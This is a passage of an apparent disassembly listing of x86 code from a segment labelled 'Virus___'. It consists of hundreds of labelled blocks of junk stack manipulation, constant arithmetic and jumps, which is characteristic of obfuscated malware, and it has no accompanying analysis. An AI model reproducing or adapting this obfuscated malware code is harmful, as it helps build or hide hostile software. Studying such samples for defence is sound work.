		mov	esp, [esp]
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		jmp	loc_551877
; ---------------------------------------------------------------------------


loc_55C992:				; CODE XREF: Virus___:00558AFCj
		pop	edx
		jmp	loc_55E637
; ---------------------------------------------------------------------------


loc_55C998:				; CODE XREF: Virus___:0055D731j
		mov	[esp], edi
		push	2A766181h
		jmp	loc_550502
; ---------------------------------------------------------------------------


loc_55C9A5:				; CODE XREF: Virus___:005629C3j
		mov	[esp], edi
		push	2EF11733h
		pop	edi
		or	edi, 1C58082Dh
		inc	edi
		not	edi
		jmp	loc_559144
; ---------------------------------------------------------------------------


loc_55C9BC:				; CODE XREF: Virus___:0055636Bj
		pop	dword ptr [esp]
		push	esi
		push	ebp
		mov	esi, [esp]
		add	esp, 4
		pop	ebp
		jmp	loc_55CD85
; ---------------------------------------------------------------------------


loc_55C9CD:				; CODE XREF: Virus___:005545D1j
		sub	esi, 4A501087h
		jmp	loc_550665
; ---------------------------------------------------------------------------


loc_55C9D8:				; CODE XREF: Virus___:00554623j
		pop	ebp
		jmp	loc_564CA8
; ---------------------------------------------------------------------------


loc_55C9DE:				; CODE XREF: Virus___:0055C0BCj
		pop	esp
		or	eax, eax
		jz	loc_55C4DA
		push	ebp
		push	esp
		pop	ebp
		push	eax
		push	7957h
		mov	[esp], edx
		mov	edx, 181576ECh
		shr	edx, 4
		jmp	loc_562D8D
; ---------------------------------------------------------------------------


loc_55CA00:				; CODE XREF: Virus___:00564111j
		push	ebp
		mov	ebp, 3CE85746h
		mov	edi, 3CE8574Ah
		sub	edi, ebp
		pop	ebp
		jmp	loc_559A0B
; ---------------------------------------------------------------------------


loc_55CA13:				; CODE XREF: Virus___:00564AA8j
		pop	ecx
		pop	edx
		add	al, 12h
		sub	al, 1Bh
		add	al, bl
		jmp	loc_55D90C
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_553DC6
; ---------------------------------------------------------------------------


loc_55CA2C:				; CODE XREF: Virus___:00553FD8j
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5621C4
; ---------------------------------------------------------------------------


loc_55CA45:				; CODE XREF: Virus___:00562BF9j
		pop	ebx
		inc	cl
		or	cl, 7Ch
		shr	cl, 8
		jmp	loc_5530F5
; ---------------------------------------------------------------------------


loc_55CA53:				; CODE XREF: Virus___:0055CDD3j
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		xor	al, ch
		pop	ecx
		push	ecx
		push	ebx
		mov	bl, 0B2h
		push	edx
		mov	dl, bl
		mov	ch, dl
		pop	edx
		push	dword ptr [esp]
		jmp	loc_55FCEB
; ---------------------------------------------------------------------------
		pop	dword ptr fs:[edx]
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55CA7A:				; CODE XREF: Virus___:0055DC61j
		add	ebp, 241378D5h
		jmp	loc_563913
; ---------------------------------------------------------------------------


loc_55CA85:				; CODE XREF: Virus___:00555A7Dj
		mov	ebx, 0
		jmp	loc_552B64
; ---------------------------------------------------------------------------


loc_55CA8F:				; CODE XREF: Virus___:005645B0j
		mov	ebx, [esp]
		add	esp, 4
		not	ecx
		shl	ecx, 6
		push	ecx
		push	edi
		pop	ecx
		pop	edi
		jmp	loc_558544
; ---------------------------------------------------------------------------


loc_55CAA6:				; CODE XREF: Virus___:00553B37j
		add	ch, 9Fh
		jmp	loc_560073
; ---------------------------------------------------------------------------


loc_55CAAE:				; CODE XREF: Virus___:005578F0j
		add	ebx, edx
		sub	ebx, 212599Ah
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		pop	edx
		push	ebx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_5614E5
; ---------------------------------------------------------------------------


loc_55CAD2:				; CODE XREF: Virus___:005541C0j
		push	6D31h
		mov	[esp], esi
		pop	dword ptr [ebx]
		push	dword ptr [esp]
		pop	esi
		jmp	loc_556299
; ---------------------------------------------------------------------------
		pop	small word ptr [edx]
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55CAED:				; CODE XREF: Virus___:00554CCCj
		push	edi
		push	ebx
		mov	ebx, 374E420Ch
		push	esi
		mov	esi, 0C5F1727h
		sub	ebx, esi
		pop	esi
		inc	ebx
		shr	ebx, 6
		jmp	loc_55E794
; ---------------------------------------------------------------------------


loc_55CB06:				; CODE XREF: Virus___:0055C2F0j
		sub	eax, ebp
		jmp	loc_54F859
; ---------------------------------------------------------------------------


loc_55CB0D:				; CODE XREF: Virus___:005573EEj
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_55C8B0
; ---------------------------------------------------------------------------


loc_55CB1F:				; CODE XREF: Virus___:00563A0Aj
		push	ebp
		jmp	loc_560922
; ---------------------------------------------------------------------------


loc_55CB25:				; CODE XREF: Virus___:00557949j
		pop	edi
		pop	edi
		jmp	loc_558D0C
; ---------------------------------------------------------------------------


loc_55CB2C:				; CODE XREF: Virus___:00557603j
		mov	ebx, ecx
		mov	esi, ebx
		pop	ebx
		mov	ecx, [esp]
		jmp	loc_555977
; ---------------------------------------------------------------------------


loc_55CB39:				; CODE XREF: Virus___:00561456j
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_56213C
; ---------------------------------------------------------------------------


loc_55CB44:				; CODE XREF: Virus___:0055A564j
		push	ebx
		jmp	loc_558C9C
; ---------------------------------------------------------------------------


loc_55CB4A:				; CODE XREF: Virus___:00553A5Cj
		sub	al, 6Bh
		mov	ebx, [esp]
		add	esp, 4
		push	small 780Ah
		mov	[esp], bx
		jmp	loc_559DE1
; ---------------------------------------------------------------------------


loc_55CB5F:				; CODE XREF: Virus___:00550FDAj
		add	eax, 4
		jmp	loc_557374
; ---------------------------------------------------------------------------


loc_55CB69:				; CODE XREF: Virus___:005613E0j
		mov	[esp], ebx
		jmp	loc_55D367
; ---------------------------------------------------------------------------


loc_55CB71:				; CODE XREF: Virus___:0055BE52j
		mov	[esp], esi
		mov	esi, 18E33895h
		jmp	loc_55F773
; ---------------------------------------------------------------------------


loc_55CB7E:				; CODE XREF: Virus___:00558AD8j
		push	ebx
		jmp	loc_559789
; ---------------------------------------------------------------------------


loc_55CB84:				; CODE XREF: Virus___:00555466j
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_561B42
; ---------------------------------------------------------------------------


loc_55CB8F:				; CODE XREF: Virus___:0055F782j
		sub	edi, esi
		pop	esi
		sub	edi, 0B530EA88h
		xor	ecx, edi
		jmp	loc_5639BD
; ---------------------------------------------------------------------------


loc_55CB9F:				; CODE XREF: Virus___:0055F032j
		pop	eax
		add	ecx, 0BF01878h
		jmp	loc_56258E
; ---------------------------------------------------------------------------


loc_55CBAB:				; CODE XREF: Virus___:00558818j
		xor	edx, esi
		xor	esi, edx
		xor	edx, esi
		sub	edx, 6877C2BAh
		sub	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		shr	ebp, 1
		push	7A5Dh
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 58437493h
		dec	ebp
		not	ebp
		jmp	loc_55859A
; ---------------------------------------------------------------------------


loc_55CBDF:				; CODE XREF: Virus___:0055B2AEj
		push	si
		mov	si, 2
		sub	esp, 2
		mov	[esp], si
		mov	si, 3A9Fh
		sub	word ptr [esp+4], 982h
		add	[esp+4], si
		add	word ptr [esp+4], 982h
		mov	si, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5504D7
; ---------------------------------------------------------------------------


loc_55CC18:				; CODE XREF: Virus___:00558C62j
		or	edx, eax
		jmp	loc_55806C
; ---------------------------------------------------------------------------


loc_55CC1F:				; CODE XREF: Virus___:0055E21Fj
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_56228B
; ---------------------------------------------------------------------------


loc_55CC28:				; CODE XREF: Virus___:0055678Cj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_554E5F
; ---------------------------------------------------------------------------


loc_55CC56:				; CODE XREF: Virus___:0056142Fj
		add	[esp+4], esi
		mov	esi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	ebp, 4
		jmp	loc_55DC9B
; ---------------------------------------------------------------------------


loc_55CC75:				; CODE XREF: Virus___:005501B6j
		or	esi, 4D3C7BBDh
		shl	esi, 3
		not	esi
		or	esi, 6F9D64F9h
		xor	esi, 37930C81h
		mov	ebp, esi
		pop	esi
		mov	ecx, ebp
		pop	ebp
		xor	ecx, 1010660Eh
		jmp	loc_55D329
; ---------------------------------------------------------------------------


loc_55CC9D:				; CODE XREF: Virus___:0055A6ABj
		add	esp, 4
		xor	edx, 151D597Eh
		shl	edx, 1
		push	ecx
		mov	ecx, 1F5812B9h
		jmp	loc_55A06F
; ---------------------------------------------------------------------------


loc_55CCB3:				; CODE XREF: Virus___:00558FB5j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_557F06
; ---------------------------------------------------------------------------


loc_55CCC6:				; CODE XREF: Virus___:00561773j
		not	ebp
		shl	ebp, 3
		neg	ebp
		sub	ebp, 0A368563Eh
		add	esi, ebp
		pop	ebp
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_5511E1
; ---------------------------------------------------------------------------


loc_55CCE4:				; CODE XREF: Virus___:005644DBj
		push	0
		sub	[esp], edx
		pop	edx
		xchg	edx, ecx
		push	155Fh
		mov	[esp], esi
		mov	esi, 19D81305h
		or	esi, 11FC37E1h
		or	esi, 266C06F1h
		push	edi
		mov	edi, 62D33861h
		jmp	loc_5609D1
; ---------------------------------------------------------------------------


loc_55CD13:				; CODE XREF: Virus___:00551460j
		mov	[esp], ebx
		mov	ebx, 4
		sub	edi, 0D3F1E48h
		add	edi, ebx
		add	edi, 0D3F1E48h
		mov	ebx, [esp]
		add	esp, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_554234
; ---------------------------------------------------------------------------


loc_55CD3D:				; CODE XREF: Virus___:0054FDF6j
		neg	esi
		xor	esi, 9E33E780h
		xor	ebp, esi
		pop	esi
		jmp	loc_558A54
; ---------------------------------------------------------------------------
		pop	ecx
		add	esp, 4
		jmp	loc_553BDD
; ---------------------------------------------------------------------------


loc_55CD59:				; CODE XREF: Virus___:0055ED28j
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], esi
		push	4
		pop	esi
		and	ecx, esi
		jmp	loc_5591A6
; ---------------------------------------------------------------------------


loc_55CD6F:				; CODE XREF: Virus___:00550A2Aj
		sub	ebp, 34AC1105h
		jmp	loc_555499
; ---------------------------------------------------------------------------


loc_55CD7A:				; CODE XREF: Virus___:0055130Bj
		sub	esp, 4
		jmp	loc_564131
; ---------------------------------------------------------------------------


loc_55CD85:				; CODE XREF: Virus___:0055C9C8j
		not	ebp
		xchg	ebp, esi
		xchg	esi, [esp]
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5536B8
; ---------------------------------------------------------------------------


loc_55CD9D:				; CODE XREF: Virus___:0055E242j
		add	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55432F
; ---------------------------------------------------------------------------


loc_55CDAD:				; CODE XREF: Virus___:0055383Cj
		mov	[esp], eax
		jmp	loc_5637D1
; ---------------------------------------------------------------------------


loc_55CDB5:				; CODE XREF: Virus___:0055DB85j
		mov	[esp], edi
		push	dword ptr [esp+4]
		jmp	loc_561BB8
; ---------------------------------------------------------------------------


loc_55CDC1:				; CODE XREF: Virus___:0055D71Ej
		or	eax, 43853B2Dh
		neg	eax
		sub	eax, 0A40284BDh
		add	edi, eax
		pop	eax
		add	edi, 4
		jmp	loc_55CA53
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_5638E5
; ---------------------------------------------------------------------------


loc_55CDE1:				; CODE XREF: Virus___:005551D7j
		pop	ebp
		add	esp, 4
		mov	ecx, 2D832B4h
		sub	ecx, esi
		jmp	loc_556E30
; ---------------------------------------------------------------------------


loc_55CDF4:				; CODE XREF: Virus___:0055A732j
		mov	al, cl
		mov	bh, al
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_55C2F5
; ---------------------------------------------------------------------------


loc_55CE12:				; CODE XREF: Virus___:00563EC6j
		mov	edi, [esp]
		push	5983h
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_55BD60
; ---------------------------------------------------------------------------


loc_55CE24:				; CODE XREF: Virus___:005616BAj
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		push	esi
		mov	esi, 75D17133h
		add	eax, esi
		push	dword ptr [esp]
		pop	esi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_55C2D7
; ---------------------------------------------------------------------------


loc_55CE50:				; CODE XREF: Virus___:00563070j
		shr	al, 4
		xor	al, 0F2h
		jmp	loc_558D55
; ---------------------------------------------------------------------------


loc_55CE5A:				; CODE XREF: Virus___:0055E876j
		add	eax, esi
		pop	esi
		pop	ecx
		jmp	loc_554554
; ---------------------------------------------------------------------------


loc_55CE63:				; CODE XREF: Virus___:00558680j
		push	346Eh
		mov	[esp], edx
		jmp	loc_56032B
; ---------------------------------------------------------------------------


loc_55CE70:				; CODE XREF: Virus___:005634E4j
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		jmp	loc_5647A5
; ---------------------------------------------------------------------------


loc_55CE84:				; CODE XREF: Virus___:00550846j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_554D0D
; ---------------------------------------------------------------------------


loc_55CE97:				; CODE XREF: Virus___:00555CA5j
		mov	esi, 3329CAA0h
		xor	edi, esi
		pop	esi
		xor	eax, edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_56057E
; ---------------------------------------------------------------------------


loc_55CEAC:				; CODE XREF: Virus___:0055D06Cj
		push	dword ptr [esp]
		pop	ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_556483
; ---------------------------------------------------------------------------


loc_55CEBD:				; CODE XREF: Virus___:0055422Fj
		sub	edi, 0FD57F7F9h
		add	esi, 1FA1122h
		add	esi, edi
		sub	esi, 1FA1122h
		jmp	loc_551C75
; ---------------------------------------------------------------------------


loc_55CED6:				; CODE XREF: Virus___:00562C69j
		pop	edi
		xor	ecx, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55FEE8
; ---------------------------------------------------------------------------


loc_55CEEA:				; CODE XREF: Virus___:0055A783j
		mov	edx, [esp]
		jmp	loc_5530FD
; ---------------------------------------------------------------------------


loc_55CEF2:				; CODE XREF: Virus___:0055454Fj
		add	esi, edi
		pop	edi
		sub	eax, esi
		pop	esi
		add	eax, edx
		jmp	loc_558AF7
; ---------------------------------------------------------------------------


loc_55CEFF:				; CODE XREF: Virus___:0055A12Cj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_558F32
; ---------------------------------------------------------------------------


loc_55CF13:				; CODE XREF: Virus___:005563DDj
		pop	ebp
		push	edx
		mov	edx, 3CDC4758h
		inc	edx
		jmp	loc_5531E2
; ---------------------------------------------------------------------------


loc_55CF20:				; CODE XREF: Virus___:00552069j
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], eax
		push	esi
		push	ecx
		mov	ecx, 1EF26E04h
		mov	esi, ecx
		jmp	loc_555201
; ---------------------------------------------------------------------------
		push	368Ah
		mov	[esp], ecx
		mov	ecx, 200h
		or	[edi+1Ch], ecx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		push	edx
		jmp	loc_5564CB
; ---------------------------------------------------------------------------


loc_55CF58:				; CODE XREF: Virus___:0055A7FDj
		add	esp, 4
		add	esp, 4
		jmp	loc_55A2B9
; ---------------------------------------------------------------------------


loc_55CF66:				; CODE XREF: Virus___:005627F9j
		and	ecx, ebp
		pop	ebp
		shr	ecx, 0Bh
		push	ebx
		jmp	loc_561EA5
; ---------------------------------------------------------------------------


loc_55CF72:				; CODE XREF: Virus___:00550B2Fj
		pop	edi
		push	ecx
		mov	ecx, 52C814F1h
		and	edi, ecx
		pop	ecx
		push	edx
		jmp	loc_5548E6
; ---------------------------------------------------------------------------


loc_55CF82:				; CODE XREF: Virus___:005569F3j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	74D5h
		jmp	loc_553DAF
; ---------------------------------------------------------------------------


loc_55CF96:				; CODE XREF: Virus___:005609F3j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_55AEC1
; ---------------------------------------------------------------------------


loc_55CFA1:				; CODE XREF: Virus___:00558AAEj
		mov	eax, [esp]
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55491E
; ---------------------------------------------------------------------------


loc_55CFB2:				; CODE XREF: Virus___:005599F6j
		pop	edx
		add	edx, 4
		push	ebx
		push	edx
		mov	edx, 12ED396Ah
		jmp	loc_55356F
; ---------------------------------------------------------------------------


loc_55CFC5:				; CODE XREF: Virus___:00557228j
		push	eax
		xor	dword ptr [esp], 73827A0Dh
		pop	ebx
		jmp	loc_5577DD
; ---------------------------------------------------------------------------


loc_55CFD3:				; CODE XREF: Virus___:00557E6Ej
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_5557AF
; ---------------------------------------------------------------------------


loc_55CFDE:				; CODE XREF: Virus___:005586DBj
		push	4321h
		jmp	loc_559A25
; ---------------------------------------------------------------------------


loc_55CFE8:				; CODE XREF: Virus___:0055549Cj
		pop	edx
		push	ebx
		mov	ebx, esp
		push	esi
		mov	esi, 0C68253Dh
		xor	esi, 0C682539h
		add	ebx, esi
		pop	esi
		push	esi
		mov	esi, 4E2D1E62h
		shl	esi, 1
		add	esi, 63A5C340h
		jmp	loc_54FE5C
; ---------------------------------------------------------------------------


loc_55D00E:				; CODE XREF: Virus___:005603AEj
		mov	esi, 546C11CFh
		inc	esi
		push	eax
		mov	eax, 727800EBh
		shr	eax, 6
		shl	eax, 5
		shr	eax, 7
		dec	eax
		jmp	loc_564AAD
; ---------------------------------------------------------------------------


loc_55D029:				; CODE XREF: Virus___:005569D0j
		pop	esp
		or	eax, eax
		jz	loc_55A3EF
		push	3D28h
		jmp	loc_55D432
; ---------------------------------------------------------------------------


loc_55D03C:				; CODE XREF: Virus___:0055A39Aj
		add	esp, 4
		jmp	loc_5514F1
; ---------------------------------------------------------------------------


loc_55D047:				; CODE XREF: Virus___:0055544Dj
		pop	ecx
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	116Dh
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		jmp	loc_557C0B
; ---------------------------------------------------------------------------


loc_55D06B:				; CODE XREF: Virus___:00559E78j
		pop	ebp
		jmp	loc_55CEAC
; ---------------------------------------------------------------------------


loc_55D071:				; CODE XREF: Virus___:00560CAEj
		add	eax, 4
		jmp	loc_551803
; ---------------------------------------------------------------------------


loc_55D079:				; CODE XREF: Virus___:00560D72j
		mov	[esp], esi
		push	ecx
		push	ebp
		jmp	loc_55B06F
; ---------------------------------------------------------------------------


loc_55D083:				; CODE XREF: Virus___:0055B8B6j
		mov	[esp], edx
		push	ebp
		mov	ebp, 77DF6D59h
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		sub	ebp, 64DE23F9h
		jmp	loc_554877
; ---------------------------------------------------------------------------


loc_55D09C:				; CODE XREF: Virus___:00550FC8j
		mov	esp, [esp]
		ror	byte ptr [esp],	cl
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55D0A8:				; CODE XREF: Virus___:0055E7EAj
		sub	ebx, eax
		jmp	loc_54FC8A
; ---------------------------------------------------------------------------


loc_55D0AF:				; CODE XREF: Virus___:0055FCF7j
		inc	ch
		shl	ch, 4
		shl	ch, 7
		dec	ch
		push	eax
		mov	ah, 0FCh
		jmp	loc_555ABD
; ---------------------------------------------------------------------------


loc_55D0C1:				; CODE XREF: Virus___:0054FED0j
		push	esp
		jmp	loc_562C0A
; ---------------------------------------------------------------------------


loc_55D0C7:				; CODE XREF: Virus___:00557264j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 71B918ADh
		shl	ecx, 3
		push	ebp
		mov	ebp, 86CC8h
		push	7CE3h
		mov	[esp], ebx
		jmp	loc_56193F
; ---------------------------------------------------------------------------


loc_55D0E8:				; CODE XREF: Virus___:0055233Fj
		pop	esi
		add	esp, 4
		push	eax
		jmp	loc_563B79
; ---------------------------------------------------------------------------


loc_55D0F2:				; CODE XREF: Virus___:0055ED4Ej
		pop	edi
		xor	ebp, edx
		pop	edx
		xor	eax, ebp
		jmp	loc_564297
; ---------------------------------------------------------------------------


loc_55D0FD:				; CODE XREF: Virus___:00561033j
		mov	bl, cl
		mov	dh, bl
		jmp	loc_563BCD
; ---------------------------------------------------------------------------


loc_55D106:				; CODE XREF: Virus___:00560AC0j
		add	esp, 4
		jmp	loc_564110
; ---------------------------------------------------------------------------


loc_55D10E:				; CODE XREF: Virus___:00552B3Dj
		push	ecx
		mov	ecx, 3B5F4F61h
		inc	ecx
		add	ecx, 5152B49Bh
		add	esi, ecx
		pop	ecx
		mov	edx, esi
		mov	esi, [esp]
		add	esp, 4
		sub	edx, 28DE2E96h
		add	edx, ecx
		add	edx, 28DE2E96h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_559953
; ---------------------------------------------------------------------------


loc_55D13F:				; CODE XREF: Virus___:00552C77j
		test	ecx, eax
		pushf
		jmp	loc_564B24
; ---------------------------------------------------------------------------


loc_55D147:				; CODE XREF: Virus___:005636D7j
		inc	ebx
		and	ebx, 30C400A3h
		or	ebx, 50182326h
		jmp	loc_550DD2
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		jmp	loc_55A056
; ---------------------------------------------------------------------------


loc_55D168:				; CODE XREF: Virus___:00559ABFj
		inc	ebx
		sub	ebx, 37F79FE3h
		jmp	loc_556D64
; ---------------------------------------------------------------------------


loc_55D174:				; CODE XREF: Virus___:0055AC4Cj
		add	dword ptr [esp], 4
		jmp	loc_55864E
; ---------------------------------------------------------------------------


loc_55D17D:				; CODE XREF: Virus___:00561815j
		not	ebp
		shr	ebp, 1
		add	ebp, 0B7EFB7F8h
		add	edx, ebp
		pop	ebp
		push	ebp
		mov	ebp, esp
		jmp	loc_552B7C
; ---------------------------------------------------------------------------


loc_55D192:				; CODE XREF: Virus___:0055F24Dj
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_559900
; ---------------------------------------------------------------------------


loc_55D19D:				; CODE XREF: Virus___:00561AA3j
		mov	ebx, 4
		sub	dword ptr [esp+4], 42D777D4h
		add	dword ptr [esp+4], 0AE05EFFh
		add	[esp+4], ebx
		jmp	loc_55E552
; ---------------------------------------------------------------------------


loc_55D1BB:				; CODE XREF: Virus___:0055FA6Ej
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		xor	ebp, 27B331FBh
		push	edi
		mov	edi, 17196C4Ah
		push	ebp
		mov	ebp, 27CC0CA4h
		not	ebp
		inc	ebp
		xor	ebp, 20C6556Eh
		jmp	loc_551E13
; ---------------------------------------------------------------------------


loc_55D1E0:				; CODE XREF: Virus___:00556D0Fj
		pop	esp
		mov	[esp], esi
		push	esi
		push	2E1Ah
		mov	[esp], esp
		push	esi
		mov	esi, 4
		add	[esp+4], esi
		jmp	loc_5610A8
; ---------------------------------------------------------------------------


loc_55D1FC:				; CODE XREF: Virus___:00562C93j
		add	ecx, 4
		push	edx
		mov	edx, 62CB7642h
		neg	edx
		neg	edx
		or	edx, 21540A2h
		jmp	loc_5573CF
; ---------------------------------------------------------------------------


loc_55D217:				; CODE XREF: Virus___:00558145j
		dec	dl
		push	ebx
		mov	bl, 0B5h
		jmp	loc_54FA17
; ---------------------------------------------------------------------------


loc_55D221:				; CODE XREF: Virus___:00562732j
		and	eax, 4C2E1B70h
		push	edx
		push	ecx
		mov	ecx, 264B0DD1h
		jmp	loc_55A952
; ---------------------------------------------------------------------------


loc_55D232:				; CODE XREF: Virus___:0055F742j
		sub	edx, 78AA6CC9h
		sub	edx, esi
		add	edx, 78AA6CC9h
		pop	esi
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		push	edx
		mov	edx, 31024363h
		push	ecx
		mov	ecx, 67B909A7h
		shr	ecx, 7
		shr	ecx, 1
		jmp	loc_551AA7
; ---------------------------------------------------------------------------


loc_55D25E:				; CODE XREF: Virus___:0055893Ej
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_561B99
; ---------------------------------------------------------------------------


loc_55D26C:				; CODE XREF: Virus___:0055961Fj
		add	edx, edi
		add	edx, 7F4E4BFCh
		pop	edi
		xchg	edx, [esp]
		pop	esp
		sub	ebp, 1
		push	0
		sub	[esp], ebp
		pop	ebp
		sub	esp, 4
		jmp	loc_557FA4
; ---------------------------------------------------------------------------


loc_55D293:				; CODE XREF: Virus___:0055FF8Aj
		push	34F8h
		mov	[esp], eax
		push	1871h
		mov	[esp], esi
		push	edx
		push	250F3FAEh
		pop	edx
		not	edx
		jmp	loc_5616BF
; ---------------------------------------------------------------------------


loc_55D2B1:				; CODE XREF: Virus___:0055A4BCj
		pop	dword ptr [esp]
		mov	esp, [esp]
		xor	[esp], eax
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55D2C0:				; CODE XREF: Virus___:00551A80j
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edx, [esp]
		push	ebp
		jmp	loc_560C41
; ---------------------------------------------------------------------------


loc_55D2D0:				; CODE XREF: Virus___:0054FB24j
		add	eax, 0DCF24A8h
		jmp	loc_55A153
; ---------------------------------------------------------------------------


loc_55D2DA:				; CODE XREF: Virus___:0055FC4Ej
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_562BFE
; ---------------------------------------------------------------------------


loc_55D2EF:				; CODE XREF: Virus___:00559749j
		inc	dword ptr [esp]
		jmp	loc_552720
; ---------------------------------------------------------------------------


loc_55D2F7:				; CODE XREF: Virus___:0055975Aj
		mov	ebx, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 6C98735Bh
		add	ecx, edi
		jmp	loc_55C014
; ---------------------------------------------------------------------------


loc_55D311:				; CODE XREF: Virus___:00551030j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		jmp	loc_559FCA
; ---------------------------------------------------------------------------


loc_55D31D:				; CODE XREF: Virus___:00557790j
		push	eax
		jmp	loc_557B61
; ---------------------------------------------------------------------------


loc_55D323:				; CODE XREF: Virus___:0054FD41j
		push	eax
		jmp	loc_564BB9
; ---------------------------------------------------------------------------


loc_55D329:				; CODE XREF: Virus___:0055CC98j
		add	ecx, 0F57927C1h
		sub	esp, 4
		mov	[esp], ecx
		push	ebp
		mov	ebp, 7665057Bh
		sub	[esp+4], ebp
		pop	ebp
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_562F08
; ---------------------------------------------------------------------------


loc_55D34E:				; CODE XREF: Virus___:005514ACj
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	ecx
		mov	ecx, 1
		mov	esi, ecx
		jmp	loc_5632AB
; ---------------------------------------------------------------------------


loc_55D367:				; CODE XREF: Virus___:0055CB6Cj
		push	3B26h
		jmp	loc_55045B
; ---------------------------------------------------------------------------


loc_55D371:				; CODE XREF: Virus___:00556C64j
		pop	ebx
		jmp	loc_55AA6E
; ---------------------------------------------------------------------------


loc_55D377:				; CODE XREF: Virus___:00551319j
		shl	esi, 7
		jmp	loc_5524BA
; ---------------------------------------------------------------------------


loc_55D37F:				; CODE XREF: Virus___:0055022Dj
		shr	ecx, 0Ah
		push	ebp
		push	esp
		pop	ebp
		sub	esp, 4
		jmp	loc_55B3F9
; ---------------------------------------------------------------------------


loc_55D390:				; CODE XREF: Virus___:0055795Aj
		add	ecx, ebx
		jmp	loc_55FD74
; ---------------------------------------------------------------------------


loc_55D397:				; CODE XREF: Virus___:005627A8j
		or	ebp, 37941C2Fh
		jmp	loc_561D95
; ---------------------------------------------------------------------------


loc_55D3A2:				; CODE XREF: Virus___:00550031j
		add	esi, 7A6B73D6h
		add	esi, eax
		sub	esi, 7A6B73D6h
		pop	eax
		push	ebp
		push	edi
		mov	edi, 7C6F2A75h
		mov	ebp, edi
		jmp	loc_5600A7
; ---------------------------------------------------------------------------


loc_55D3BF:				; CODE XREF: Virus___:00556C5Dj
		sub	edi, edx
		sub	edi, 2CB1573h
		mov	edx, [esp]
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, 4
		sub	esp, 4
		jmp	loc_55DE05
; ---------------------------------------------------------------------------


loc_55D3EF:				; CODE XREF: Virus___:0056245Dj
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_5560D3
